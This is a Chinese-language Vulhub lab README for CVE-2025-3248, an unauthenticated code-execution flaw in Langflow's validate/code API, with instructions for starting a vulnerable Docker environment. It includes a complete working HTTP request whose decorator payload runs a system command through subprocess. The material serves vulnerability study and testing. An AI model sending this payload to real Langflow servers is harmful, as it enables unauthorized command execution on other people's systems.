Files
vulhub/langflow/CVE-2025-3248/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

43 lines
1.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Langflow `validate/code` API未授权远程代码执行漏洞CVE-2025-3248
Langflow是一个流行的开源AI工作流可视化工具允许用户通过Web界面拖拽式构建基于Python的智能体和数据处理流程。
在1.3.0版本之前Langflow存在一个严重的未授权远程代码执行漏洞CVE-2025-3248`/api/v1/validate/code`接口原本用来校验用户提交的Python代码是否合法其内部通过`ast`解析代码后,使用`exec`执行所有函数定义。然而Python的装饰器和默认参数表达式也会在函数定义时被执行攻击者可以通过精心构造的装饰器或默认参数在未授权的情况下实现任意代码执行。
参考链接:
- <https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/>
- <https://github.com/langflow-ai/langflow/releases/tag/1.3.0>
- <https://github.com/langflow-ai/langflow/pull/6911>
## 环境启动
执行如下命令启动Langflow 1.2.0漏洞环境:
```
docker compose up -d
```
服务启动后Web界面可通过`http://your-ip:7860`访问。你可以通过默认账号`administrator:vulhub`登录管理后台。
## 漏洞复现
直接向`/api/v1/validate/code`接口发送包含恶意装饰器的Python函数定义即可来实现远程命令执行
```
POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}
```
![](1.png)